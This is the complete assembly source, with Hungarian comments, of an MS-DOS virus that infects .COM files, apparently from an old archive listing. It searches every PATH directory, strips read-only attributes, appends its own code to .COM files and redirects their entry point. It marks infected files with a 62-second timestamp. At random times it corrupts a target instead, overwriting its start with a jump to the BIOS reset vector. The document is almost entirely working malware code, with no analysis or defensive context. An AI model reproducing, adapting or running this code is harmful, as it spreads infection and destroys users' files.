home *** CD-ROM | disk | FTP | other *** search
- PAGE ,132
- VIRUS SEGMENT PARA PUBLIC 'CODE'
- ASSUME CS:VIRUS,DS:VIRUS
-
- HOSSZ EQU VEG-KEZDET
- KEZDET EQU $
-
- INDIT: PUSH CX
- TBLC: MOV DX,OFFSET TABL
- CLD ; SZTRINGMUVELETEK NOVEKVO IRANYBA
- MOV SI,DX ; SI TARTALMAZZA A TABLAZAT KEZDOCIMET
- ADD SI,OFFSET FILKEZ-TABL
- MOV DI,100H ; AZ ELSO HAROM BYTE VISSZAALLITASA
- MOV CX,3
- REPZ MOVSB
- MOV SI,DX ; SI-BE ISMET A TABLAZAT KEZDOCIME
- MOV AH,30H ; A DOS VERZIOSZAM LEKERDEZESE
- INT 21H
- CMP AL,0 ; MEG AZ 1.X VERZIO?
- JNZ IND1 ; NEM
- JMP IND2 ; IGEN, A VIRUS NEM TUD TERJEDNI
- IND1: PUSH ES ; ES ELMENTESE
- MOV AH,2FH ; A DTA CIMENEK LEKERDEZESE
- INT 21H ; ES ELTAROLASA A TABLAZATBAN
- MOV WORD PTR [SI+DTACIM-TABL],BX
- MOV WORD PTR [SI+DTACIM-TABL+2],ES
- POP ES ; ES VISSZAOLVASASA
- MOV DX,UJDTA-TABL
- ADD DX,SI ; A DTA UJ CIMENEK BEALLITASA
- MOV AH,1AH
- INT 21H
- PUSH ES ; REGISZTEREK ELMENTESE
- PUSH SI
- MOV ES,DS:2CH ; A DOS KORNYEZET CIME
- MOV DI,0 ; ELEJETOL
- IND3: POP SI ; SI VISSZAOLVASASA
- PUSH SI ; ES VISSZAIRASA
- ADD SI,OFFSET SZOVEG-TABL
- LODSB ; EGY KARAKTER BETOLTESE
- MOV CX,8000H ; A KORNYEZET MAX. 32K
- REPNZ SCASB ; AZ ELSO KARAKTER KERESESE
- MOV CX,OFFSET FSPEC-SZOVEG-1
- IND4: LODSB ; A KOVETKEZO KARAKTER BEOLVASASA
- SCASB ; ES ELLENORZESE
- JNZ IND3 ; NEM EGYEZIK
- LOOP IND4 ; FOLYTATNI
- POP SI ; A REGISZTEREK VISSZAALLITASA
- POP ES
- MOV [SI+UTCIM-TABL],DI
- MOV DI,SI ; DI-BE A TABLAZAT KEZDOCIME
- ADD DI,OFFSET FSPEC-TABL
- MOV BX,SI ; SI ELMENTESE BX-BE
- ADD SI,OFFSET FSPEC-TABL
- MOV DI,SI
- JMP SHORT IND5 ; KERESES ELOSZOR AZ AKTUALIS ALKONYVTARBAN
- INDE: CMP WORD PTR [SI+UTCIM-TABL],0
- JNZ IND6 ; VAN MEG TOBB UT
- JMP IND7 ; MINDEN LEHETSEGES FILE FERTOZOTT
- IND6: PUSH DS ; A REGISZTEREK ELMENTESE
- PUSH SI
- MOV DS,ES:2CH ; DS-BE A DOS KORNYEZET SZEGMENSE
- MOV DI,SI ; DI A TABLAZATRA MUTAT
- MOV SI,WORD PTR ES:[DI+UTCIM-TABL]
- ADD DI,OFFSET FSPEC-TABL
- IND8: LODSB ; EGY KARAKTER BETOLTESE
- CMP AL,3BH ; ';' AZ UTAKAT VALASZTJA EL
- JZ IND9 ; ANNAK A KODJA
- CMP AL,0 ; A LEZARO NULLA?
- JZ INDA ; AZ A KOD
- STOSB ; ELTAROLAS
- JMP SHORT IND8 ; FOLYTATNI
- INDA: MOV SI,0 ; TOBB UT NEM LETEZIK
- IND9: POP BX ; BX A TABLAZAT KEZDOCIME
- POP DS ; DS VISSZAALLITASA
- MOV [BX+UTCIM-TABL],SI
- CMP BYTE PTR [DI-1],5CH ; A FILE SPECIFIKACIO '\' LETT LEZARVA?
- JZ IND5 ; IGEN
- MOV AL,5CH ; A '\' KODJA
- STOSB ; ELTAROLASA
- IND5: MOV [BX+FAKT-TABL],DI
- MOV SI,BX ; A TABLAZAT KEZDOCIME BX
- ADD SI,OFFSET FKER-TABL ; KERESO NEV
- MOV CX,OFFSET UTCIM-FKER
- REPZ MOVSB ; ATMASOLASA A FILE SPECIFIKACIOBA
- MOV SI,BX ; SI A TABLAZAT KEZDOCIME
- MOV AH,4EH ; FILE KERESESE
- MOV DX,FSPEC-TABL
- ADD DX,SI ; A FILE SPECIFIKACIO CIME
- MOV CX,11B ; A KERESETT ATTRIBUTUM
- INT 21H
- JMP SHORT INDC ; A KOVETKEZO RESZT ATUGRANI
- INDF: MOV AH,4FH ; A KOVETKEZO FILENEV KERESESE
- INT 21H
- INDC: JNC INDD ; MEGTALALTUK
- JMP INDE ; NINCS ITT TOBB HASONLO
- INDD: MOV AX,[SI+UJDTA-TABL+22]
- AND AL,11111B ; A LETREHOZAS IDEJENEK MASZKOLJUK A MASODPERCEIT
- CMP AL,11111B ; 62 MASODPERC? /FERTOZEST EZZEL JELZI/
- JZ INDF ; IGEN, TOVABB KELL KERESNI
- CMP WORD PTR [SI+UJDTA-TABL+26],0FA00H
- JA INDF ; TUL NAGY FILE, NEM FERTOZHETO
- CMP WORD PTR [SI+UJDTA-TABL+26],0AH
- JB INDF ; TUL KICSI FILE
- MOV DI,[SI+FAKT-TABL]
- PUSH SI ; A TABLAZAT KEZDOCIMENEK ELMENTESE
- ADD SI,OFFSET UJDTA-TABL+30
- INDG: LODSB ; A FILENEV ATMASOLASA A FILE SPECIFIKACIOBA
- STOSB
- CMP AL,0 ; A NEV ZARO NULLA?
- JNZ INDG ; NEM, FOLYTATNI
- POP SI ; A TABLAZAT KEZDOCIMENEK VISSZAALLITASA
- MOV AX,4300H ; A FILE ATTRIBUTUM BEOLVASASA
- MOV DX,FSPEC-TABL
- ADD DX,SI ; A FILE SPECIFIKACIO CIME
- INT 21H
- MOV [SI+FILATT-TABL],CX
- MOV AX,4301H ; A FILE ATTRIBUTUM BEALLITASA
- DB 81H,0E1H,0FEH,0FFH ; AZ R/O BIT TORLESE
- MOV DX,FSPEC-TABL
- ADD DX,SI ; A FILE SPECIFIKACIO CIME
- INT 21H
- MOV AX,3D02H ; A FILE MEGNYITASA IRASRA & OLVASASRA
- MOV DX,FSPEC-TABL
- ADD DX,SI ; A FILE SPECIFIKACIO CIME
- INT 21H
- JNC INDH ; NINCS HIBA
- JMP INDK ; HIBA TORTENT
- INDH: MOV BX,AX ; A FILESZAM ATVITELE
- MOV AX,5700H ; A KELETKEZESI IDO BEOLVASASA
- INT 21H ; ES BEALLITASA
- MOV [SI+FILIDO-TABL],CX
- MOV [SI+FILDAT-TABL],DX
- MOV AH,2CH ; A RENDSZERIDO BEOLVASASA
- INT 21H
- AND DH,111B ; A MASODPERCEK OSZTHATOK NYOLCCAL?
- JNZ INDI ; NEM, A FILE-T CSAK MEGFEROZZUK
- MOV AH,40H ; EZT A FILE-T MOST MEGGYILKOLJUK /HAHAHA/
- MOV CX,5 ; A JMP FAR F000:FFF0 5 BYTE HOSSZU
- MOV DX,SI ; DX A TABLAZAT KEZDETERE MUTAT
- ADD DX,OFFSET RESET-TABL
- INT 21H ; A FILE ELSO 5 BYTEJANAK ATALLITASA RESET-RE
- JMP INDJ ; ENNEK MAR BEVEGEZTETETT
- INDI: MOV AH,3FH ; OLVASAS A FILEBOL
- MOV CX,3 ; AZ ELSO HAROM BYTE
- MOV DX,FILKEZ-TABL ; A MEGFELELO CIMRE
- ADD DX,SI
- INT 21H ; BEOLVASNI
- JC INDJ ; HIBA TORTENT
- CMP AX,3 ; MIND A HAROM BYTEOT BEOLVASTA?
- JNZ INDJ ; NEM, HIBA VOLT
- MOV AX,4202H ; MUTATO A FILE VEGERE
- MOV CX,0
- MOV DX,0
- INT 21H
- JC INDJ ; TORTENT HIBA?
- MOV CX,AX ; A FILE HOSSZA
- SUB AX,3 ; MINUSZ 3, EZ LESZ AZ UJ INDITASI CIM
- MOV [SI+UJKEZ-TABL+1],AX
- ADD CX,OFFSET TABL+100H ; A TABLAZAT KEZDOCIME AZ UJ VIRUSBAN
- MOV DI,SI ; A TABLAZAT KEZDETE
- SUB DI,OFFSET TABL-TBLC-1
- MOV [DI],CX ; A MOV DX, UTASITAS PARAMETERE
- MOV AH,40H ; KIIRAS A FILE-BA
- MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
- MOV DX,SI ; A TABLAZAT KEZDOCIME
- SUB DX,OFFSET TABL ; MINUSZ A VIRUSTORZS HOSSZA
- INT 21H ; KIIRAS
- JC INDJ ; HIBA TORTENT
- CMP AX,OFFSET HOSSZ ; MINDEN BYTEOT KIIRT?
- JNZ INDJ ; NEM
- MOV AX,4200H ; MUTATO A FILE ELEJERE
- MOV CX,0
- MOV DX,0
- INT 21H
- JC INDJ ; HIBA TORTENT?
- MOV AH,40H ; KIIRAS A FILE-BA
- MOV CX,3 ; AZ ELSO 3 BYTE KIIRASA
- MOV DX,SI
- ADD DX,OFFSET UJKEZ-TABL
- INT 21H ; KIIRAS
- INDJ: MOV DX,[SI+FILDAT-TABL]
- MOV CX,[SI+FILIDO-TABL]
- DB 81H,0E1H,0E0H,0FFH ; AND CX,0FFE0H
- OR CX,OFFSET 11111B ; AZ IDO 62 MASODPERC
- MOV AX,5701H ; A KELETKEZESI DATUM ES IDO VISSZAIRASA
- INT 21H ; ES A FERTOZES JELZESE
- MOV AH,3EH ; FILE LEZARASA
- INT 21H
- INDK: MOV AX,4301H ; A REGI ATTRIBUTUM VISSZAALLITASA
- MOV CX,[SI+FILATT-TABL]
- MOV DX,FSPEC-TABL
- ADD DX,SI ; A FILE SPECIFIKACIO CIME
- INT 21H
- IND7: PUSH DS ; DS ELMENTESE
- MOV AH,1AH ; A DTA REGI CIMENEK BEALLITASA
- MOV DX,WORD PTR [SI+DTACIM-TABL]
- MOV DS,WORD PTR [SI+DTACIM-TABL+2]
- INT 21H
- POP DS ; DS VISSZAALLITASA
- IND2: POP CX
- XOR AX,AX ; AX=0
- XOR BX,BX ; BX=0
- XOR DX,DX ; DX=0
- XOR SI,SI ; SI=0
- MOV DI,100H ; 100H A VEREMBE
- PUSH DI
- XOR DI,DI ; DI=0
- RET 0FFFFH
-
- TABL EQU $
-
- DTACIM DD 0
- FILIDO DW 0
- FILDAT DW 0
- FILATT DW 0
- FILKEZ DB 0,0,0
- UJKEZ DB 0,0,0
- FKER DB '*.COM',0
- UTCIM DW 0
- FAKT DW 0
- SZOVEG DB 'PATH='
- FSPEC DB 40H DUP(' ')
- UJDTA DB 2BH DUP(0)
- RESET DB 0EAH,0F0H,0FFH,0,0F0H
-
- VEG EQU $
-
- VIRUS ENDS
-
- END